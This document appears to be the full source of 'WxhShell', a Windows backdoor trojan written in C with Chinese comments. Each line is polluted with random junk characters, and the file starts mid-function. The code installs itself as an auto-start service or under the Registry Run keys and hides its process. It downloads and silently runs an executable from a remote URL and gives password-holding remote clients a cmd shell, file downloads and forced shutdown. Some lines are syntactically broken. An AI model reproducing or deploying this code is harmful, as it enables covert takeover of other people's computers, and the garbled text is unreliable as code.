    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [MpWvLP"x  
    else { Ku ,wI86  
    closesocket(wsh); OvX&5Q5  
    ExitThread(0); EVqW(|Xg  
    } nc;e NB  
    break; 12Oa_6<\0;  
    } K ";Et  
  // 获取shell \}jA1oy  
  case 's': { 6'^E ],:b  
    CmdShell(wsh); r ]7: ?ir  
    closesocket(wsh); +c~&o83[  
    ExitThread(0); =>;&M)+q  
    break; ]<^2B?}  
  } B"_O!  
  // 退出 OE@[a  
  case 'x': {  cHvm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t%Jk3W/f  
    CloseIt(wsh); YCDH0M  
    break; "QnYT3[l"  
    } KkCGL*]K  
  // 离开 5pJe`}O4  
  case 'q': { +Hu\b&g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |}4\Gm  
    closesocket(wsh); nFQuoU]ux  
    WSACleanup(); R/oi6EKv  
    exit(1); ~, }|~  
    break; '[WL8,.Q  
        } 9G/!18 X?f  
  } =Dq&lm,n  
  } =de'Yy:\-  
v[Q)L!J1  
  // 提示信息 6M >@DRZ'|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6nL^"3@S!  
} NBPP?\1  
  } @-sWXz*W  
C 7C4 eW8  
  return; OyO]; Yk  
}  >:-e  
,ucRQ&P  
// shell模块句柄 E]' f&0s  
int CmdShell(SOCKET sock) #NFB=o JI  
{ "OenYiz  
STARTUPINFO si; M G$+Blw>  
ZeroMemory(&si,sizeof(si)); ;M.Q=#;E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9295:Y| w1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -zFJ)!/?  
PROCESS_INFORMATION ProcessInfo; vW &G\L  
char cmdline[]="cmd"; oks;G([  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e6taQz@}  
  return 0; q TJ0}F  
} ],weqs  
`^[k8Z(  
// 自身启动模式 KVOV<uDCj  
int StartFromService(void) _3aE]\O[  
{ (}39f  
typedef struct }? _KZ)  
{ J]U_A/f  
  DWORD ExitStatus; Po)U!5Tm  
  DWORD PebBaseAddress; /Z6lnm7wJ  
  DWORD AffinityMask; qHub+"2  
  DWORD BasePriority; @/:4beh  
  ULONG UniqueProcessId; Ca'BE#q  
  ULONG InheritedFromUniqueProcessId; v^ ^Ibv  
}   PROCESS_BASIC_INFORMATION; dNgA C){w  
486\a  
PROCNTQSIP NtQueryInformationProcess; YIRe__7-NU  
vcFR Td  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  oE+P=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |aP`hVm  
ZR\N~.  
  HANDLE             hProcess; >pp/4Ia!  
  PROCESS_BASIC_INFORMATION pbi; Z;G*wM"  
',R%Q0Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WOn<;'}M&  
  if(NULL == hInst ) return 0; Ef`'r))  
/ugWl99.W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zp7Pw   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nook/7]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6B8!}6Ojc  
a(vt"MQ_  
  if (!NtQueryInformationProcess) return 0; 2 H%lN`  
+%XByY5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GM2}]9  
  if(!hProcess) return 0; a_c(7bQ  
(e'8>Pv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O8 .iP+  
f,yl'2{  
  CloseHandle(hProcess); /''=V.-N  
/p<9C?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W!<7OA g$  
if(hProcess==NULL) return 0; vSHPN|*  
6m$X7;x}  
HMODULE hMod; c ?CD;Pk  
char procName[255]; *1EmK.-'u  
unsigned long cbNeeded; Q$ew.h  
HVus\s\&y%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UK,bfLPt~  
zH~P-MqC  
  CloseHandle(hProcess); ^mq(j_E.  
 lPZ>#  
if(strstr(procName,"services")) return 1; // 以服务启动 oW^x=pS9  
<<LLEdB  
  return 0; // 注册表启动 `R2Iw I&  
} bdWdvd:  
!M8_PC*a  
// 主模块 '/<\X{l8  
int StartWxhshell(LPSTR lpCmdLine) fJ8>nOh  
{ `n>|rd  
  SOCKET wsl; B(M-;F  
BOOL val=TRUE; #Gi`s?  
  int port=0; kS_#8 I  
  struct sockaddr_in door; OvT[JpV  
nT> v  
  if(wscfg.ws_autoins) Install(); t|'%0 W  
xy:Mb =r  
port=atoi(lpCmdLine); E@C.}37R  
02Vfg42  
if(port<=0) port=wscfg.ws_port; We$ n  
/4(HVua  
  WSADATA data; J\@g3oGw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1av#u:jy~>  
0]5X Tc3r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zV}:~;w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iT&4;W=72~  
  door.sin_family = AF_INET; ((`\i=-o5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >bWpj8Kv  
  door.sin_port = htons(port); t#(=$  
|aenQA#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '1DY5`i{  
closesocket(wsl); KH)-=IJ8  
return 1; P Ptmh. }e  
} :=*G7ZyW$  
tRI<K  
  if(listen(wsl,2) == INVALID_SOCKET) { ;-"!p  
closesocket(wsl); i tNuY<"  
return 1; Vj4 h#NN$  
} w-JWMgY8w  
  Wxhshell(wsl); Eb~vNdPo  
  WSACleanup(); jR}EBaI}  
+pgHCzwJE  
return 0; B?&0NpVD  
^f>c_[fR  
} 1\,k^Je7  
\dU.#^ryp  
// 以NT服务方式启动  ;@k=9o]A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A-L1vu;  
{ &Ih }"  
DWORD   status = 0; iLv -*%%  
  DWORD   specificError = 0xfffffff; vcj(=\ e8v  
tJu:N'=Dy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7WH'GoBh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]v}W9{sY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |BM#rfQ  
  serviceStatus.dwWin32ExitCode     = 0; 4A"nm6  
  serviceStatus.dwServiceSpecificExitCode = 0; p4IyKry,  
  serviceStatus.dwCheckPoint       = 0; ,j>FC j>  
  serviceStatus.dwWaitHint       = 0; + a*Ic8*  
B.4e4%BBS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G~C-tAB  
  if (hServiceStatusHandle==0) return; 9mk@\Gqqm  
Q?T+^J   
status = GetLastError(); DqY"N ]  
  if (status!=NO_ERROR) $k )K}U  
{ K:-jn}i?/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7L/LlO/  
    serviceStatus.dwCheckPoint       = 0; m4h)Wq  
    serviceStatus.dwWaitHint       = 0; @TW:6v`  
    serviceStatus.dwWin32ExitCode     = status; uSYI X  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y(`Bc8h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oto8?4[n  
    return; WFc4(Kl  
  } }~&0<8m  
2k=|p@V n~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4 y}z+4  
  serviceStatus.dwCheckPoint       = 0; %JPr 7 }  
  serviceStatus.dwWaitHint       = 0; N/WtQSl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zs}h>$E5_B  
} QZ(O2!Mg  
:RIqA/  
// 处理NT服务事件,比如:启动、停止 QqF*SaO>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #t1? *4.p  
{ jtfC3E,U  
switch(fdwControl) @I1*b>X~<  
{ 82r{V:NCK)  
case SERVICE_CONTROL_STOP: Am3j:|>*  
  serviceStatus.dwWin32ExitCode = 0; h*KDZ+{)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +W1l9n*  
  serviceStatus.dwCheckPoint   = 0; 9wc\~5{li  
  serviceStatus.dwWaitHint     = 0; p cUccQ  
  { :T PG~`k(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'bZw-t!M@  
  } HQ=pf >  
  return; ^"4?Q  
case SERVICE_CONTROL_PAUSE: ;W+1 H !  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SZ4y\I  
  break; ;j;U9-oh  
case SERVICE_CONTROL_CONTINUE: X`v6gv5qj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aVV E 2:M  
  break; Qu<HeSA_  
case SERVICE_CONTROL_INTERROGATE: |9 *$6Y  
  break; &{WEtaXaa  
}; h$~$a;2cR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z,C>Rh9Id  
} >d .|I&  
V^D 1:9i  
// 标准应用程序主函数 $h k_v~zM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uVZm9Sp  
{ Y8s-cc(  
4u|6^ wu.I  
// 获取操作系统版本 ;$!0pxL)s  
OsIsNt=GetOsVer(); \(f82kv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NJ}x qg  
T3)m{gv0`  
  // 从命令行安装 ByWad@-6i  
  if(strpbrk(lpCmdLine,"iI")) Install(); S)2Uoj  
n#GHa>p.-  
  // 下载执行文件 \n#l+R23  
if(wscfg.ws_downexe) { [daR)C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m`XaY J  
  WinExec(wscfg.ws_filenam,SW_HIDE); R*dXbI&,e  
} }LIf]Y K  
1U~'8=-   
if(!OsIsNt) { -Vg0J6x  
// 如果时win9x,隐藏进程并且设置为注册表启动 aQ 6T2bQ  
HideProc(); ZZ0b!{qj3  
StartWxhshell(lpCmdLine); ER]C;DYX  
} ? zic1i  
else MhFj>t   
  if(StartFromService()) 5oD%~Fk l  
  // 以服务方式启动 H:1F=$0I9  
  StartServiceCtrlDispatcher(DispatchTable); giddM2'  
else l`K5fk  
  // 普通方式启动 K,HR=5  
  StartWxhshell(lpCmdLine); 7.^1I7O  
.|kp`-F51  
return 0; 5i3 nz=~o  
} )i.\q   
? v@q&  
P}p6{  
8\Z/mU*4  
=========================================== %} Ob~m>P  
CH h6Mnw  
5th\_n}N2/  
dG]s_lb9H  
5adB5)`  
pK2n'4 C  
" !}uev  
F a'2i<  
#include <stdio.h> 3WdANR  
#include <string.h> le`_    
#include <windows.h> i_;]UvP  
#include <winsock2.h> X=OJgyO/  
#include <winsvc.h> o[eIwGxZ  
#include <urlmon.h> Mj@ 0F 2hy  
]+0I8eerd  
#pragma comment (lib, "Ws2_32.lib") %g&i.2v  
#pragma comment (lib, "urlmon.lib") "Q@ZS2;A  
D3%`vq u&  
#define MAX_USER   100 // 最大客户端连接数 ?_c*(2i&^  
#define BUF_SOCK   200 // sock buffer Q|}Pc>ae  
#define KEY_BUFF   255 // 输入 buffer AU +2'  
5zBsulRt  
#define REBOOT     0   // 重启 nK9A=H'Hc  
#define SHUTDOWN   1   // 关机 7e-l`]  
^E8eW  
#define DEF_PORT   5000 // 监听端口 I806I@ix  
`#~HCl  
#define REG_LEN     16   // 注册表键长度 Ot} E  
#define SVC_LEN     80   // NT服务名长度 rx#\Dc}  
SW%d'1ya  
// 从dll定义API .<`Rq'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >m{)shBX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =2eG j'}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UujFZg[-P9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r'q9N  
^25[%aJI  
// wxhshell配置信息 )xQA+$H#4  
struct WSCFG { /\KB*dX  
  int ws_port;         // 监听端口 `jb?6;15  
  char ws_passstr[REG_LEN]; // 口令 >p 7e6%  
  int ws_autoins;       // 安装标记, 1=yes 0=no ` 0k  
  char ws_regname[REG_LEN]; // 注册表键名 `?VB)  
  char ws_svcname[REG_LEN]; // 服务名 b&Sk./ J6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l~M86 h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5xHl6T+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t$Z#zx X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s3G3_&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }cE,&n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;o#R(m@Lx  
U:E:"  
}; >i4UU0m  
56m|gZcC  
// default Wxhshell configuration 94F9f^ L  
struct WSCFG wscfg={DEF_PORT, !58-3F%P  
    "xuhuanlingzhe", 4 |N&Y  
    1, ?'h<yxu]u0  
    "Wxhshell", Oav^BhUO  
    "Wxhshell", C``%<)WC  
            "WxhShell Service", d*T;RBk  
    "Wrsky Windows CmdShell Service", g4I&3 M  
    "Please Input Your Password: ", Tp`by 1s  
  1, VWG#v #o  
  "http://www.wrsky.com/wxhshell.exe", EpCUL@+  
  "Wxhshell.exe" g0^%X9s  
    }; ~'HwNzDQc  
E q.?Ga  
// 消息定义模块 k"V3FXC)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l0b Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xk}YeNVj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _#e='~;  
char *msg_ws_ext="\n\rExit."; v. ,C"^W  
char *msg_ws_end="\n\rQuit."; h]c-x(+  
char *msg_ws_boot="\n\rReboot..."; s&M6DFlA  
char *msg_ws_poff="\n\rShutdown..."; 6pQ#Zg()vp  
char *msg_ws_down="\n\rSave to "; RIM"MR9qe=  
d"nE+pgE  
char *msg_ws_err="\n\rErr!"; QKbX^C  
char *msg_ws_ok="\n\rOK!"; u /cL[_Q  
>OwVNG  
char ExeFile[MAX_PATH]; $d!Sl a  
int nUser = 0; Ps.O.2Z5ZB  
HANDLE handles[MAX_USER]; 3`k 1  
int OsIsNt; <<w $ Ur  
}O@S ;[v S  
SERVICE_STATUS       serviceStatus; M:nXn7)+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ((Ec:(:c  
3b{8c8N^  
// 函数声明 ^,b*.6t  
int Install(void); PT|^RF%fT  
int Uninstall(void); W UdKj  
int DownloadFile(char *sURL, SOCKET wsh); yK0Q,   
int Boot(int flag); IJ o`O  
void HideProc(void); T2} I,{U  
int GetOsVer(void); ~7b '4\  
int Wxhshell(SOCKET wsl); RoLUPy9U  
void TalkWithClient(void *cs); x-U:T.+{  
int CmdShell(SOCKET sock); @|%t<{y^I  
int StartFromService(void); ,u{d@U^)3@  
int StartWxhshell(LPSTR lpCmdLine); rNqJL_!  
X!CLOHVA a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <=cj)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fmA&1u/xMs  
,<|EoravH  
// 数据结构和表定义 g;\zD_":l  
SERVICE_TABLE_ENTRY DispatchTable[] =  -deY,%  
{ )wpBxJ;dB}  
{wscfg.ws_svcname, NTServiceMain}, *2 4P T7  
{NULL, NULL} CTR|b}!  
}; 1 xiq]~H  
Rh9>iA@fd  
// 自我安装 mh.0% 9`9  
int Install(void) E[nWB"pxE  
{ fbwo2qe@K  
  char svExeFile[MAX_PATH]; \?GUGs  
  HKEY key; 5D-xm$8C  
  strcpy(svExeFile,ExeFile); W}WGg|ug  
zEF3B  
// 如果是win9x系统,修改注册表设为自启动 20 zIO.&o  
if(!OsIsNt) { kdQ=%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -G;4['p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PM7*@~.  
  RegCloseKey(key); *vCJTz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { opte)=]J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  #XQEfa  
  RegCloseKey(key); N=zrY`Vd  
  return 0; @,i:fY  
    } I Zi1N  
  } _9Iz'-LgB  
} iKLN !QR  
else { 1 q}iUnR  
QC \8Zy  
// 如果是NT以上系统,安装为系统服务 ?bmP<(N5/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rzLpVpTaz  
if (schSCManager!=0) Jq<&`6hn  
{ l yF~E  
  SC_HANDLE schService = CreateService Zh{Pzyp  
  ( >y(;k|-$  
  schSCManager, ?\(E+6tpP  
  wscfg.ws_svcname, ]6GdB3?UVM  
  wscfg.ws_svcdisp,  zy  
  SERVICE_ALL_ACCESS, |@sUN:G4k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A=I]1r  
  SERVICE_AUTO_START, ",w@_}z:  
  SERVICE_ERROR_NORMAL, FU;Tv).  
  svExeFile, {tOu+zy  
  NULL, rNO'0Ck=  
  NULL, ">v76%>Z7  
  NULL, |XtN\9V.  
  NULL, 5T:e4U&  
  NULL (5cc{zKtR  
  ); ?y>P  
  if (schService!=0) 2h IM!wQ  
  { vCb3Ra~L`  
  CloseServiceHandle(schService); !0zbWB9  
  CloseServiceHandle(schSCManager); #OqQD6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4;<?ec(dc  
  strcat(svExeFile,wscfg.ws_svcname); $k,Z)2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x{*g^f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O6pswMhAc  
  RegCloseKey(key); ~4"adOv  
  return 0; @mSdksB/L  
    } p^3 ]Q  
  } qg7.E+  
  CloseServiceHandle(schSCManager); 4c_TrNwP  
} n;@PaE^8=  
} YiJnh47  
!TA6-]1  
return 1; EcxPbRg  
} yS^";$2Tc  
Oh3AbpTT  
// 自我卸载 Iojyku\W.  
int Uninstall(void) H!?Av$h`  
{ 8UJK]_99I,  
  HKEY key; ]P;uQ!  
cfBq/2I  
if(!OsIsNt) { [CL.Xil=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { twv|,kM  
  RegDeleteValue(key,wscfg.ws_regname); Cc/h|4  
  RegCloseKey(key); j]U sb_7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cXU8}>qY7  
  RegDeleteValue(key,wscfg.ws_regname);  s6bILz-u  
  RegCloseKey(key); mk(O..)2  
  return 0; 9 js!gJC  
  } c7UmR?m  
} 4QC"|<9R  
} 7?!A~Seo|  
else { ZUePHI-dP  
U_i%@{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #S)] `YW  
if (schSCManager!=0) nr7#}pzo  
{ '#RzX8|v<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3*)<Y}Tc  
  if (schService!=0) 5$f vI#NO<  
  { h DpIwzJ  
  if(DeleteService(schService)!=0) { _&V%idz!0  
  CloseServiceHandle(schService); 4wYD-MB  
  CloseServiceHandle(schSCManager); -FQ!  
  return 0; vT/e&8w  
  } j5Kw0Wy7  
  CloseServiceHandle(schService); wJyrF  
  } I@Cq<:+(3  
  CloseServiceHandle(schSCManager); `_%U K=m  
} CD]hi,B_J  
} e_RLKFv7  
KaVNRS  
return 1; 4<V%7z_.B  
} Z|3 fhaT  
5Ku=Xzvq  
// 从指定url下载文件 `9;0Y  
int DownloadFile(char *sURL, SOCKET wsh) #b~B 0:U  
{ w`BY>Xft0  
  HRESULT hr; q4u,pm,@  
char seps[]= "/"; 0s9-`nHen|  
char *token; #IJm*_J<  
char *file;  +kA>^  
char myURL[MAX_PATH]; I0iTa99K  
char myFILE[MAX_PATH]; G47(LE"2b  
|Gp!#D0b  
strcpy(myURL,sURL); Z2n Jw  
  token=strtok(myURL,seps); -e_91W I  
  while(token!=NULL) 1Vf?Rw  
  { MzEeDN  
    file=token; zM+4<k_dH]  
  token=strtok(NULL,seps); k1lo{jw`  
  } CdBpz/  
jY;T:C-T  
GetCurrentDirectory(MAX_PATH,myFILE); ^bM\:z"M  
strcat(myFILE, "\\"); .lsD+}  
strcat(myFILE, file); )Ehi 8  
  send(wsh,myFILE,strlen(myFILE),0); }K .Rv(m  
send(wsh,"...",3,0); u+/Uc:XK)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); In[rxT~K}Q  
  if(hr==S_OK) Pj-.oS2dA  
return 0; Cn"_x  
else <OH{7>V  
return 1; !S.O~Kq  
2LfiaHO  
} w"`Zf7a{/  
awXK9}.  
// 系统电源模块 Vu`5/QDq  
int Boot(int flag) &Fiesi!tET  
{ M)F_$ ICE-  
  HANDLE hToken; zqHG2:MN"  
  TOKEN_PRIVILEGES tkp; HVJqDF  
@T"-%L8PL  
  if(OsIsNt) { Z~0TO-Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {+~ JTrp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c@E;v<r'  
    tkp.PrivilegeCount = 1; lw]uH<v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^B_SAZ&%%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #<LJns\t   
if(flag==REBOOT) { eJ*u]GH U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yk0tA  
  return 0; {q/;G!ON.S  
} 216`rQ}z  
else { +v2)'?BS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YQ$LU \:  
  return 0; jY2mn".N  
} <{+U- ^rzR  
  } M }! qH.W  
  else { "{S6iH)]8  
if(flag==REBOOT) { {wDq*va  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^e]O-,UBk  
  return 0; ECyG$j0  
} F pT$D  
else { pO/vD~C>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %aI,K0\  
  return 0; )oALB vX  
} O14\_eAu6  
} zs(P2$  
i[?VF\Y(  
return 1; d8uDSy  
} NQGa=kXeJ  
V'tqsKQ!  
// win9x进程隐藏模块 **\?-*c=U  
void HideProc(void) i&1rf|  
{ cyLl,OA  
Qgf\"s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \11+~  
  if ( hKernel != NULL ) %Z+**>1J  
  { Kx?.g#>U;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (j~T7og  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VP~(;H5%  
    FreeLibrary(hKernel); UlWm). b;v  
  } :L{*B$c  
jXVvVv  
return; =]5f\f6  
} Sgr. V)  
[K@(,/$  
// 获取操作系统版本 c^O&A\+;  
int GetOsVer(void) o%f:BJS  
{ %-]a[qf3  
  OSVERSIONINFO winfo; HYmUD74FR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ::+;PRy_E  
  GetVersionEx(&winfo); %Oo f/q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  H2oxD$s  
  return 1; e/_QS}OA  
  else #?k</~s6M`  
  return 0; ]kXW eY<  
} `a:3S@n(}  
B;F ~6i  
// 客户端句柄模块 *7-rm  
int Wxhshell(SOCKET wsl)  VM:|I~gJ  
{ TpwN2 =  
  SOCKET wsh; c_CVZR?  
  struct sockaddr_in client; n*Dn{ 7v#z  
  DWORD myID; z;dRzwL  
K3<A<&W_-  
  while(nUser<MAX_USER) x;sc?5_`  
{ Y8^ WuN$  
  int nSize=sizeof(client); Cl9rJ oT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \ {]y(GT  
  if(wsh==INVALID_SOCKET) return 1; s*_fRf:  
]j>`BK>FE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f>$RR_  
if(handles[nUser]==0) t$~'$kM)<  
  closesocket(wsh); ~".@;Q  
else *Ow2,{Nn  
  nUser++; b1cVAfUP  
  } g`Cv[Pq?at  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b>8TH-1t~  
Z~QLjv&$/r  
  return 0; K6 >\4'q  
} [>r0 (x&.  
j)Ak:l%a  
// 关闭 socket qB,0(I1-!  
void CloseIt(SOCKET wsh) @tY]=pqn_  
{ 4oH ,_sr  
closesocket(wsh); ,OubKcNg  
nUser--; !`RMXUV  
ExitThread(0); d23=WNn  
} @y~kQ5k  
f+hHc8g  
// 客户端请求句柄 PU,$YPrZ  
void TalkWithClient(void *cs) !&hqj$>-}  
{ Dol{y=(3e  
GVJ||0D  
  SOCKET wsh=(SOCKET)cs; LtX53c  
  char pwd[SVC_LEN]; ^iJyo&I  
  char cmd[KEY_BUFF]; xlJWCA*>  
char chr[1]; +x}9a~QG#  
int i,j; M*ZN]9{^.  
fV5$[CL1  
  while (nUser < MAX_USER) { % g  
eh<mJL%T  
if(wscfg.ws_passstr) { [%^sl>,7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $.,B2}'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d[p2? ]  
  //ZeroMemory(pwd,KEY_BUFF); znTi_S  
      i=0; |,:p[Oy  
  while(i<SVC_LEN) { &=jPt%7#M  
^M6lF5  
  // 设置超时 QCb%d'_w+  
  fd_set FdRead; &xN+a{&  
  struct timeval TimeOut; +sjzT[ Dn  
  FD_ZERO(&FdRead); F c5t,P  
  FD_SET(wsh,&FdRead); (sKg*G2  
  TimeOut.tv_sec=8; UmVn:a  
  TimeOut.tv_usec=0; =cl#aS}e8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pqO3(2F9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "Y+VNS  
viG=Ap.Th  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); */K[B(G  
  pwd=chr[0]; _K9PA[m5 ~  
  if(chr[0]==0xd || chr[0]==0xa) { ^N<aHFF  
  pwd=0; k5\V:P=#  
  break; !b`fykC  
  } |2^m CL.r  
  i++; $R #_c}  
    } e2=}qE7  
Nt8"6k_  
  // 如果是非法用户,关闭 socket )2).kL>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *x8~}/[T(F  
} X40gJV<  
H,KH}25  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); my sXgS&S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xCL)<8[R,}  
6g-jhsW6  
while(1) { mdL T7  
,$Fh^KNo]  
  ZeroMemory(cmd,KEY_BUFF); '~ b  
)q'dX+4=eL  
      // 自动支持客户端 telnet标准   \Nik`v*Pd  
  j=0; kVtP~  
  while(j<KEY_BUFF) { D?E VzG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Eo$l-Hl5=  
  cmd[j]=chr[0]; D7pQWlN\  
  if(chr[0]==0xa || chr[0]==0xd) { ]Yt3@ug_f  
  cmd[j]=0; JL_(%._J  
  break; 9*iVv)jd  
  } Jy:@&c  
  j++; FsUH/Y y  
    } ,eebO~7vB  
0D4 4  
  // 下载文件 # d"M(nt  
  if(strstr(cmd,"http://")) { ; t7F%cDA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {C`M<2W]  
  if(DownloadFile(cmd,wsh)) a.u{b&+9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); si%V63^lN  
  else \zcSfNE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n"iaE  
  } E&vCzQ  
  else { mh_GYzd  
[di&N!Ao  
    switch(cmd[0]) { ^> d"D  
  =:RNpi,  
  // 帮助 HBa6Y&)<  
